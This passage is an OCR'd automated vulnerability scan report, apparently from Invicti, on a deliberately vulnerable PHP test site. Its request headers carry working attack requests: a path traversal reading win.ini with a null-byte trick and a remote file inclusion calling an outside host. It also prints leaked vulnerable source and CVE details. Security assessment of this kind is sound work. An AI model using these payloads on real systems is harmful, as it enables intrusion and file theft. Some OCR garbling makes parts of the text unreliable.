User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Directory traversal

Severity High
Reported by module /Scripts/PerScheme/Directory_Traversal.script
Description

A directory traversal vulnerability allows attackers to access files and directories outside the intended web
root directory by manipulating file path references. Attackers exploit this weakness by using special
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character sequences (such as '../') in user-supplied input to navigate the server's file system. This
vulnerability occurs when applications fail to properly validate and sanitize file path parameters before
using them to access resources.

Impact

Successful exploitation of directory traversal vulnerabilities enables attackers to read sensitive files outside
the web application's designated directory, including system configuration files, application source code,
credentials, and user data. In severe cases, attackers may be able to access executable files or write to
directories, potentially leading to remote code execution and complete server compromise. This can result
in unauthorized disclosure of confidential information, privilege escalation, and full system takeover.

Recommendation
Implement the following security controls to prevent directory traversal attacks:
1. Input Validation: Use an allowlist approach to validate all user-supplied file paths against a predefined

set of permitted values. Reject any input containing directory traversal sequences such as '../', '..\', or
encoded variations.

2. Path Canonicalization: Resolve file paths to their canonical (absolute) form and verify they remain
within the intended directory. Example:

// Java example

String basePath = "/var/www/files";

File requestedFile = new File(basePath, userInput);
String canonicalPath = requestedFile.getCanonicalPath();

if (!canonicalPath.startsWith(basePath)) {
throw new SecurityException("Invalid file path");

3. Use Safe APIs: Utilize framework-provided functions that handle file access securely, avoiding direct
concatenation of user input with file paths.

4. Principle of Least Privilege: Configure the web server and application to run with minimal file system
permissions, restricting access to only necessary directories.

References

Directory Traversal Attacks

Affected items

/process.php
Details

URL encoded GET input file was set to ../../uufeef i/ i/ i/ 1]/ ../ WwindOWS/Win.ini%00.nsp

File contents found:
; for 16-bit app support

Request headers

GET /process.php?file=../../../../../../../../../../windows/win.ini%00.nsp HTTP/1.1
Referer: http://php.testinvicti.com/
Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac


https://invicti.com/learn/directory-traversal-path-traversal/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Local File Inclusion

Severity High
Reported by module /Scripts/PerScheme/File_Inclusion.script
Description

This application is vulnerable to Local File Inclusion (LFI), a security flaw that allows attackers to include
files from the server's filesystem through manipulated input parameters. The vulnerability occurs when
user-supplied input is passed directly to file inclusion functions (such as include, require, or

file_get contents) without proper validation or sanitization. Attackers can exploit this weakness to access
sensitive files, execute arbitrary code, or compromise the application.

Impact

An attacker can exploit this vulnerability to read sensitive files from the server's filesystem, including
configuration files, password files, application source code, and system files (e.qg., /etc/passwd). In severe
cases, attackers may achieve remote code execution by including files containing malicious code, such as
uploaded files, log files with injected content, or session files. This can lead to complete system
compromise, data theft, privilege escalation, and unauthorized access to backend systems. The
vulnerability is particularly dangerous when combined with file upload functionality or when the server
allows URL-based file inclusion.

Recommendation

Implement the following security measures to remediate this vulnerability:

1. Use a whitelist approach: Define an array of allowed filenames or identifiers and validate all user
input against this list.

// PHP Example - Whitelist approach
$allowed files = ['home', 'about', 'contact'];
$page = $ GET['page'] ?? 'home';

if (in_array($page, $allowed files, true)) {
include "pages/{$page}.php";

} else {
include "pages/error.php";

2. Sanitize and validate input: Remove or reject directory traversal sequences (../, .\) and null bytes
from user input.

// PHP Example - Input sanitization

$file = basename($ GET['file']); // Removes directory paths



$file = str _replace(['../', '"..\\'], '', $file);
include "templates/{$file}";

3. Disable dangerous PHP configurations: Set allow_url_fopen and allow_url_include to Off in
php.ini to prevent remote file inclusion.

4. Use absolute paths: Construct file paths using absolute paths and avoid concatenating user input
directly into file paths.

5. Implement proper access controls: Ensure the web server process runs with minimal privileges and
cannot access sensitive system files.

References

PHP - Using_remote files
OWASP PHP Top 5
Remote file inclusion

Affected items

/process.php
Verified vulnerability
Details

URL encoded GET input file was set to http://bxss.me/t/fit.txt%3F.nsp

Pattern found:
63c19a6da79816b21429e5bb262daed863c19a6da79816b21429e5bb262daed8

Request headers

GET /process.php?file=http://bxss.me/t/fit.txt%3F.nsp HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

Proof of Exploits

c:\windows\win.ini

; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail]
/windows/win.ini

; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail]

O [Possible] Backup Source Code Detected

Severity High
Reported by module /Scripts/PerFile/Backup_File.script


https://www.php.net/manual/en/features.remote-files.php
https://www.owasp.org/index.php/PHP_Top_5
https://en.wikipedia.org/wiki/Remote_file_inclusion

Description

The web server contains files that appear to be backup copies of source code, configuration files, or other
web application resources. These backup files are typically created by developers or automated tools
during development, maintenance, or deployment processes, and are often left behind inadvertently when
code is modified or updated. Common patterns include files with extensions like .bak, .old, .backup, or tilde
(~) suffixes.

Impact

Backup files may expose sensitive information that is not intended to be publicly accessible, including
source code that reveals application logic and potential vulnerabilities, database credentials and API keys
stored in configuration files, comments containing security-relevant information that may be stripped from
production code, and internal system paths or architecture details. This information significantly aids
attackers in identifying additional vulnerabilities, understanding authentication mechanisms, and planning
targeted attacks against the application infrastructure.

Recommendation

Immediately remove all backup files from web-accessible directories on the server. Conduct a
comprehensive audit to identify backup files using common patterns (*.bak, *.old, *.backup, *~, *.swp,
*.tmp, *.orig, *.copy).

Configure your web server to deny access to backup file patterns. For Apache, add the following to your
.htaccess or server configuration:

<FilesMatch "\.(bak|old|backup|swp|tmp|orig|copy)$|~$">
Require all denied
</FilesMatch>

For Nginx, add to your server block:

location ~ \.(bak|old|backup|swp|tmp|orig|copy)$ {
deny all;

}

location ~ ~$ {
deny all;

Establish organizational policies prohibiting the creation of backup files in production environments.
Implement proper version control systems (such as Git) for code management instead of manual file-based
backups. Configure deployment processes to exclude backup files automatically, and add backup file
patterns to .gitignore or equivalent version control ignore files to prevent accidental commits.

References

Testing_for Old, Backup and Unreferenced Files (OWASP-CM-006)
Security Tips for Server Configuration
Protecting Confidential Documents at Your Site

Affected items

/process.bak
Details

This file was found using the pattern ${fileName}.bak.
Original filename: process.php
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Pattern found:

<?php

require("auth.php");

ini set("display errors","0");

//global configuration area
$globals["title"] = "Invicti Test Web Site - PHP";
function EndsWith($FullStr, $EndStr)

{
// Get the length of the end string
$StrLen = strlen($EndStr);
// Look at the end of FullStr for the substring the size of EndStr
$FullStrend = substr($FullStr, strlen($FullStr) - $StrLen);
// If it matches, it does end with EndStr
return $FullStrEnd == $EndStr;
}
7>

<?php include "Internals/header.php"?>
<body>
<div id="wrapper">
<?php include "Internals/upmenu.php"?>
<?php
$file = $ REQUEST["file"];
if(EndsWith($file,".nsp"))
include $ REQUEST["file"];
7>
<!-- end #page -->
</div>

<?php include "Internals/footer.php"?>
<!-- end #footer -->

</body>

</html>

Request headers

GET /process.bak HTTP/1.1

Range: bytes=0-99999

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Security vulnerability in MySQL/MariaDB sql/password.c

Severity High



Reported by module /Scripts/PerFolder/PHPInfo.script

Description

A critical authentication bypass vulnerability exists in MySQL (versions prior to 5.1.63, 5.5.24, and 5.6.6)
and MariaDB (versions prior to 5.1.62, 5.2.12, 5.3.6, and 5.5.23) due to an incorrect type casting error in
the password validation logic within sql/password.c. When a user attempts to authenticate, the server
compares a token derived from the provided password with the expected value. Due to the casting flaw,
the comparison may incorrectly evaluate to true even when passwords do not match. Because the
authentication protocol uses random scramble strings, an attacker has approximately a 1 in 256 chance of
successful authentication per attempt with any password. This means an attacker can gain unauthorized
access by making roughly 300 connection attempts, which takes only seconds to execute.

Impact

An unauthenticated remote attacker can bypass MySQL or MariaDB authentication mechanisms and gain
unauthorized access to database accounts, including privileged accounts such as 'root', by repeatedly
attempting to connect with any password. The probabilistic nature of the vulnerability (1/256 success rate
per attempt) makes exploitation trivial, requiring only a few hundred connection attempts that can be
completed in under a second. Successful exploitation allows attackers to:

e Access, modify, or delete sensitive database contents

e Execute arbitrary SQL commands with the privileges of the compromised account

¢ Potentially escalate privileges to full database administrator access

¢ Compromise the confidentiality, integrity, and availability of all data stored in the database

This effectively renders password-based authentication useless on affected systems.
Recommendation

Immediately upgrade to a patched version of MySQL or MariaDB to remediate this vulnerability:

For MySQL installations:

e Upgrade to MySQL 5.1.63 or later for the 5.1 series
e Upgrade to MySQL 5.5.24 or later for the 5.5 series
e Upgrade to MySQL 5.6.6 or later for the 5.6 series

For MariaDB installations:

e Upgrade to MariaDB 5.1.62 or later for the 5.1 series
e Upgrade to MariaDB 5.2.12 or later for the 5.2 series
e Upgrade to MariaDB 5.3.6 or later for the 5.3 series

¢ Upgrade to MariaDB 5.5.23 or later for the 5.5 series

Interim mitigation measures (if immediate patching is not possible):

¢ Implement network-level access controls to restrict database connections to trusted IP addresses only
¢ Monitor authentication logs for unusual patterns of repeated failed login attempts followed by success
e Use firewall rules or TCP wrappers to limit database server exposure

e Consider temporarily disabling remote database access if not required for operations

After upgrading, verify the patch is effective by checking the server version and reviewing security
advisories from your database vendor.



References

Security vulnerability in MySQL/MariaDB sql/password.c
CVE-2012-2122 : Serious Mysqgl Authentication Bypass Vulnerability
CVE-2012-2122

Affected items

/phpinfo.php

Verified vulnerability
Details

MySQL version: 5.0.51a
Request headers

GET /phpinfo.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O SVN Detected

Severity High
Reported by module /Scripts/PerFolder/SVN_Repository.script
Description

A Subversion (SVN) metadata directory (.svn) has been detected on the web server. SVN is a version
control system that stores repository metadata, file histories, and configuration details in hidden .svn
directories within working copies. These directories should never be present on production systems, as
they are intended only for development environments. Their presence indicates the application was
deployed using a working copy checkout rather than a proper export, exposing internal development
artifacts to potential attackers.

Impact

Exposed SVN metadata directories can leak sensitive information including source code, configuration files,
database credentials, internal file structures, developer usernames, commit history, and repository URLs.
Attackers can recursively download the entire codebase by parsing the metadata files, enabling them to
identify additional vulnerabilities, discover hardcoded secrets, understand application logic, and plan
targeted attacks. This information disclosure significantly increases the attack surface and may lead to
complete application compromise.

Recommendation

Immediately remove all .svn directories from production systems. Future deployments should use 'svn
export' instead of 'svn checkout' to exclude version control metadata. If immediate removal is not possible,
restrict access to these directories using web server configuration:


https://seclists.org/oss-sec/2012/q2/493
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For Apache: Add the following to your httpd.conf, virtual host configuration, or .htaccess file:

<DirectoryMatch "\.svn">
Require all denied
</DirectoryMatch>
Or for Apache 2.2 and earlier:
<DirectoryMatch "\.svn">
Order deny,allow
Deny from all
</DirectoryMatch>
For Nginx: Add to your server or location block:
location ~ /\.svn {
deny all;
return 404;
}
Verify the fix by attempting to access /.svn/entries directly. Additionally, review deployment procedures to
ensure version control directories are excluded from production releases.

References

Apache Tips & Tricks: Deny access to some folders

Affected items

Web Server
Verified vulnerability
Details

SVN files found at : /.svn/entries.

Repository URL: https://msl.unfuddle.com/svn/msl_testbed/testscript/Testsite-PHP

Repository files/directories:
<dir> Generics/
<dir> Internals/
<dir> .idea/
nslookup.php
page.php
process.php

<dir> Programmatic/
<dir> images/
style.css

hello.php

Repository users:
mesut

Request headers

GET /.svn/entries HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8


http://www.ducea.com/2006/08/11/apache-tips-tricks-deny-access-to-some-folders/

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O User controllable script source

Severity High
Reported by module /Scripts/PerScheme/XSS.script

Description

This vulnerability occurs when user-supplied input directly controls the src attribute of a <script> tag
without proper validation or sanitization. This allows an attacker to specify an arbitrary URL pointing to a
malicious JavaScript file, which will be loaded and executed in the context of the application. Unlike
reflected XSS where malicious code is injected inline, this vulnerability enables attackers to load entire
external scripts from domains they control.

Impact

An attacker can exploit this vulnerability to execute arbitrary JavaScript code in the victim's browser within
the security context of the vulnerable application. This can lead to:

e Session hijacking: Stealing authentication tokens and session cookies to impersonate users

e Data theft: Accessing sensitive information displayed on the page or accessible through the application
¢ Credential harvesting: Capturing user credentials through fake login forms

e Malware distribution: Redirecting users to malicious sites or triggering drive-by downloads

e Application defacement: Modifying page content to damage reputation or spread misinformation

Since the malicious script runs with the same privileges as legitimate application code, it can perform any
action the user is authorized to perform.

Recommendation

Implement the following security controls to prevent user input from controlling script sources:

1. Eliminate dynamic script sources: Avoid allowing user input to determine script source URLs entirely.
Use static, hardcoded script references whenever possible.

2. Implement strict allowlisting: If dynamic script loading is required, maintain a server-side allowlist of
approved script URLs or identifiers. Validate user input against this list before generating script tags.

// Example: Server-side allowlist validation (Node.js)
const ALLOWED SCRIPTS = {
'analytics': 'https://cdn.example.com/analytics.js"',
‘charts': 'https://cdn.example.com/charts.js'
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const scriptld = req.query.script;
if (!'ALLOWED SCRIPTS.hasOwnProperty(scriptId)) {



return res.status(400).send('Invalid script identifier');

}
const scriptSrc = ALLOWED SCRIPTS[scriptId];

3. Use Content Security Policy (CSP): Deploy a strict CSP header that limits script sources to trusted
domains only.

Content-Security-Policy: script-src 'self' https://trusted-cdn.example.com;

4. Implement Subresource Integrity (SRI): When loading external scripts, use SRI hashes to ensure
the script content hasn't been tampered with.

<script src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux. . ."

crossorigin="anonymous"></script>

5. Never trust user input: Treat all user-supplied data as untrusted. Never directly concatenate user
input into HTML attributes or JavaScript code without proper validation and encoding.

References

OWASP - Cross Site Scripting_(XSS)
CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected items

/products.php
Details

URL encoded GET input pro was set to url9055256.

The tag script can be controlled.
Request headers

GET /products.php?pro=url9055256 HTTP/1.1

Referer: http://php.testinvicti.com/

Cookie: PHPSESSID=28300186b7a9496a11590877b72d96ac

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/149.0.0.0 Safari/537.36

Host: php.testinvicti.com

Connection: Keep-alive

O Vulnerable package dependencies [high]

Severity High

Reported by module /httpdata/sca_analyze package files.js

Description


https://owasp.org/www-community/attacks/xss/
https://cwe.mitre.org/data/definitions/829.html

Your web application contains one or more third-party package dependencies with known security
vulnerabilities rated as high severity. These vulnerabilities have been publicly disclosed and may be
actively exploited by attackers. Each affected package is listed in the details section with specific CVE
identifiers, CVSS scores, and vulnerability descriptions.

Impact

The security impact varies depending on the specific vulnerabilities present in each affected package.
High-severity vulnerabilities typically allow attackers to compromise application confidentiality, integrity, or
availability. Potential consequences include:

Remote Code Execution: Attackers may execute arbitrary code on your server
Data Breach: Sensitive information could be exposed or exfiltrated
Authentication Bypass: Security controls may be circumvented

Denial of Service: Application availability may be disrupted

Review each CVE listed in the details section to understand the specific risks to your application. The
exploitability and actual impact depend on how your application uses the vulnerable packages.

Recommendation
Take the following steps to remediate vulnerable package dependencies:

1. Review Vulnerable Packages: Examine each package listed in the details section and verify it is
actually used by your application (not just present in the dependency tree).

2. Update to Patched Versions: For each vulnerable package, upgrade to the latest secure version that
addresses the CVE. Update your package manifest file (e.g., package.json, requirements.txt, pom.xml) with
the fixed version numbers.

3. Test After Updates: Run your application's test suite to ensure compatibility with updated packages.
Verify that functionality remains intact after dependency updates.

4. Handle Packages Without Fixes: If no patched version exists:

e Check if alternative packages provide similar functionality

* Contact the package maintainer to request a security fix

* Implement compensating controls or input validation to mitigate the vulnerability
* Consider removing the package if it's not critical to your application

5. Automate Dependency Scanning: Integrate software composition analysis (SCA) tools into your
CI/CD pipeline to detect vulnerable dependencies before deployment.

6. Maintain a Software Bill of Materials (SBOM): Document all third-party dependencies to facilitate
ongoing vulnerability management and incident response.

References

Software composition analysis (SCA)

Affected items

/vendor/installed.json

Details


https://www.invicti.com/learn/software-composition-analysis-sca/

List of vulnerable composer packages:

Package: phpmailer/phpmailer

Version: 6.1.8.0

CVE: CVE-2021-34551

Title: Unrestricted Upload of File with Dangerous Type

Description: PHPMailer before 6.5.0 on Windows allows remote code execution if lang_path is untrusted
data and has a UNC pathname.

CVSS V2: AV:N/AC:H/Au:N/C:P/I:P/A:P

CVSS V3: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE: CWE-434

References:

¢ https://github.com/PHPMailer/PHPMailer/blob/master/SECURITY.md

¢ https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/3YRMWGA4VTMXFB22KICMB7YMFZNFV3E]J/

o https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/FJYSOFCUBS67)3TKR74SD3C454N7VTYM/

Package: phpmailer/phpmailer

Version: 6.1.8.0

CVE: CVE-2021-3603

Title: Inclusion of Functionality from Untrusted Control Sphere

Description: PHPMailer 6.4.1 and earlier contain a vulnerability that can result in untrusted code being
called (if such code is injected into the host project's scope by other means). If the $patternselect
parameter to validateAddress() is set to 'php' (the default, defined by PHPMailer::$validator), and the
global namespace contains a function called php, it will be called in preference to the built-in validator of
the same name. Mitigated in PHPMailer 6.5.0 by denying the use of simple strings as validator function
names.

CVSS V2: AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS V3: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE: CWE-829

References:

¢ https://github.com/PHPMailer/PHPMailer/commit/45f3c18dc6a2delcb1bf49b9b249a9ee36a5f7f3

¢ https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/3YRMWGA4VTMXFB22KICMB7YMFZNFV3E]J/

o https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/FJYSOFCUBS67)3TKR74SD3C454N7VTYM/

¢ https://www.huntr.dev/bounties/1-PHPMailer/PHPMailer/

Package: phpmailer/phpmailer

Version: 6.1.8.0

CVE: CVE-2020-36326

Title: Deserialization of Untrusted Data

Description: PHPMailer 6.1.8 through 6.4.0 allows object injection through Phar Deserialization via
addAttachment with a UNC pathname. NOTE: this is similar to CVE-2018-19296, but arose because 6.1.8
fixed a functionality problem in which UNC pathnames were always considered unreadable by PHPMailer,
even in safe contexts. As an unintended side effect, this fix eliminated the code that blocked



addAttachment exploitation.

CVSS V2: AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502

References:

https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9
https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/3B5WDPGUFNPG4NAZ6G4BZX43BKLAVASB/
https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/KPU66INRFY5BQ3ESVPRUXJRADXQAFJVT/

Package: phpunit/phpunit

Version: 5.6.2.0

CVE: CVE-2017-9841

Title: Improper Control of Generation of Code ('‘Code Injection')

Description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote
attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as
demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.

CVSS V2: AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE: CWE-94

References:

http://web.archive.org/web/20170701212357/http://phpunit.vulnbusters.com/
http://www.securityfocus.com/bid/101798

http://www.securitytracker.com/id/1039812
https://github.com/sebastianbergmann/phpunit/commit/284a69fb88a2d0845d23f42974a583d8f59b
f5a5

https://github.com/sebastianbergmann/phpunit/pull/1956
https://security.gentoo.org/glsa/201711-15

https://www.oracle.com/security-alerts/cpuoct2021.html
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2017-9841

Package: smarty/smarty

Version: 4.0.0.0

CVE: CVE-2021-21408

Title: Improper Input Validation

Description: Smarty is a template engine for PHP, facilitating the separation of presentation
(HTML/CSS) from application logic. Prior to versions 3.1.43 and 4.0.3, template authors could run
restricted static php methods. Users should upgrade to version 3.1.43 or 4.0.3 to receive a patch.
CVSS V2: AV:N/AC:L/Au:S/C:P/I:P/A:P

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE: CWE-20

References:

https://github.com/smarty-php/smarty/commit/19ae410bf56007a5ef24441cdc6414619cfaf664
https://github.com/smarty-php/smarty/releases/tag/v3.1.43
https://github.com/smarty-php/smarty/releases/tag/v4.0.3



¢ https://github.com/smarty-php/smarty/security/advisories/GHSA-4h9c-v5vg-5m6é6m

o https://lists.debian.org/debian-lts-announce/2022/05/msg00005.html

¢ https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/BRAJVDRGCIY5UZ2PQHKDTT7RMKG6WJQQ/

o https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/L777]IBIW)V34HS7LXPIDWASG7TTA4LNI/

¢ https://security.gentoo.org/glsa/202209-09

e https://www.debian.org/security/2022/dsa-5151

Package: smarty/smarty

Version: 4.0.0.0

CVE: CVE-2021-29454

Title: Improper Neutralization of Special Elements in Output Used by a Downstream Component
('Injection')

Description: Smarty is a template engine for PHP, facilitating the separation of presentation
(HTML/CSS) from application logic. Prior to versions 3.1.42 and 4.0.2, template authors could run
arbitrary PHP code by crafting a malicious math string. If a math string was passed through as user
provided data to the math function, external users could run arbitrary PHP code by crafting a malicious
math string. Users should upgrade to version 3.1.42 or 4.0.2 to receive a patch.

CVSS V2: AV:N/AC:L/Au:S/C:P/I:P/A:P

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE: CWE-74

References:

¢ https://github.com/smarty-php/smarty/commit/215d81a9fa3cd63d82fb3ab56ecaf97cfle7db71

¢ https://github.com/smarty-php/smarty/releases/tag/v3.1.42

e https://github.com/smarty-php/smarty/releases/tag/v4.0.2

¢ https://github.com/smarty-php/smarty/security/advisories/GHSA-29gp-2c3m-3j6m

o https://lists.debian.org/debian-Ilts-announce/2022/05/msg00005.html

¢ https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/BRAJVDRGCIY5UZ2PQHKDTT7RMKG6WJQQ/

o https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/L777]IBIW)V34HS7LXPIDWASG7TT4LNI/

e https://packagist.org/packages/smarty/smarty

e https://security.gentoo.org/glsa/202209-09

e https://www.debian.org/security/2022/dsa-5151

¢ https://www.smarty.net/docs/en/language.function.math.tpl

Package: smarty/smarty

Version: 4.0.0.0

CVE: CVE-2022-29221

Title: Improper Control of Generation of Code ('‘Code Injection')

Description: Smarty is a template engine for PHP, facilitating the separation of presentation
(HTML/CSS) from application logic. Prior to versions 3.1.45 and 4.1.1, template authors could inject php
code by choosing a malicious {block} name or {include} file name. Sites that cannot fully trust template
authors should upgrade to versions 3.1.45 or 4.1.1 to receive a patch for this issue. There are currently
no known workarounds.

CVSS V2: AV:N/AC:L/Au:S/C:P/I:P/A:P

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H



CWE: CWE-94
References:

¢ https://github.com/smarty-php/smarty/commit/64ad6442calda3lcefdab5c9874262b702cccddd

¢ https://github.com/smarty-php/smarty/releases/tag/v3.1.45

¢ https://github.com/smarty-php/smarty/releases/tag/v4.1.1

e https://github.com/smarty-php/smarty/security/advisories/GHSA-634x-pc3q-cfdc

o https://lists.debian.org/debian-lts-announce/2022/05/msg00044.html

e https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/BRAJVDRGCIY5UZ2PQHKDTT7RMKG6W]QQ/

¢ https://lists.fedoraproject.org/archives/list/package-
announce%40lists.fedoraproject.org/message/L777]IBIWJV34HS7LXPIDWASG7TTALNI/

s https://security.gentoo.org/glsa/202209-09

e https://www.debian.org/security/2022/dsa-5151

Package: verot/class.upload.php

Version: 2.0.1.0

CVE: CVE-2019-19576

Title: Unrestricted Upload of File with Dangerous Type

Description: class.upload.php in verot.net class.upload before 1.0.3 and 2.x before 2.0.4, as used in the
K2 extension for Joomla! and other products, omits .phar from the set of dangerous file extensions.
CVSS V2: AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE: CWE-434

References:

o http://packetstormsecurity.com/files/155577/Verot-2.0.3-Remote-Code-Execution.html

¢ https://github.com/getk2/k2/commit/d1344706c4b74c2ae7659b286b5a066117155124

e https://github.com/jra89/CVE-2019-19576

o https://github.com/verot/class.upload.php/commit/5a7505ddec956fdc9e9c071ae5089865559174f1
e https://github.com/verot/class.upload.php/commit/db1lb4fe50c1754696970d8b437f07e7b94a7ebf2
e https://github.com/verot/class.upload.php/compare/1.0.2...1.0.3

¢ https://github.com/verot/class.upload.php/compare/2.0.3...2.0.4

¢ https://medium.com/%40jra8908/cve-2019-19576-e9da712b779

¢ https://www.verot.net

¢ https://www.verot.net/php_class_upload.htm

Package: verot/class.upload.php

Version: 2.0.1.0

CVE: CVE-2019-19634

Title: Unrestricted Upload of File with Dangerous Type

Description: class.upload.php in verot.net class.upload through 1.0.3 and 2.x through 2.0.4, as used in
the K2 extension for Joomla! and other products, omits .pht from the set of dangerous file extensions, a
similar issue to CVE-2019-19576.

CVSS V2: AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE: CWE-434

References:

e https://github.com/jra89/CVE-2019-19634



e https://github.com/verot/class.upload.php/blob/2.0.4/src/class.upload.php#L3068
e https://medium.com/%40jra8908/cve-2019-19634-arbitrary-file-upload-in-class-upload-php-
ccaf9el3875e

Apache httpOnly cookie disclosure

Severity Medium
Reported by module /Scripts/PerServer/Apache_httpOnly Cookie_Disclosure.script
Description

Apache HTTP Server versions 2.2.x through 2.2.21 contain a vulnerability that improperly handles header
information when generating HTTP 400 (Bad Request) error responses. When the server receives a
malformed or excessively long HTTP header, it may inadvertently include sensitive cookie data—including
cookies marked with the HttpOnly flag—in the error response body. An attacker can exploit this by sending
crafted malicious requests and using client-side scripts to read the error response, thereby bypassing the
HttpOnly protection mechanism.

Affected versions: Apache HTTP Server 2.2.x through 2.2.21
Impact

This vulnerability allows remote attackers to steal HttpOnly cookies, which are specifically designed to be
inaccessible to client-side scripts as a defense against cross-site scripting (XSS) attacks. By obtaining these
cookie values, attackers can potentially hijack user sessions, impersonate authenticated users, or access
sensitive account information. The attack requires user interaction (such as visiting a malicious page) but
does not require authentication, making it a viable threat in scenarios where attackers can deliver crafted
requests to vulnerable servers.

Recommendation

Upgrade Apache HTTP Server to version 2.2.22 or later, which contains the fix for this vulnerability. Follow
these steps:

1. Identify your current Apache version:
httpd -v

2. Download Apache 2.2.22 or later from the official Apache HTTP Server project website or use your
distribution's package manager.

3. For package-managed installations (recommended):
# For Debian/Ubuntu

sudo apt-get update

sudo apt-get install apache2

# For RHEL/Cent0S
sudo yum update httpd

4. Verify the updated version:



httpd -v

5. Restart the Apache service:
sudo systemctl restart apache2 # or httpd

If immediate patching is not possible, consider implementing a Web Application Firewall (WAF) rule to filter
malformed requests as a temporary mitigation measure.

References

Fixed in Apache httpd 2.2.22
Apache HTTP Server 'httpOnly' Cookie Information Disclosure Vulnerability
CVE-2012-0053

Affected items

Web Server
Details

Pattern found:
<pre>
Cookie: testingCookie=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Request headers

GET / HTTP/1.1

Cookie:
testingCookie=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
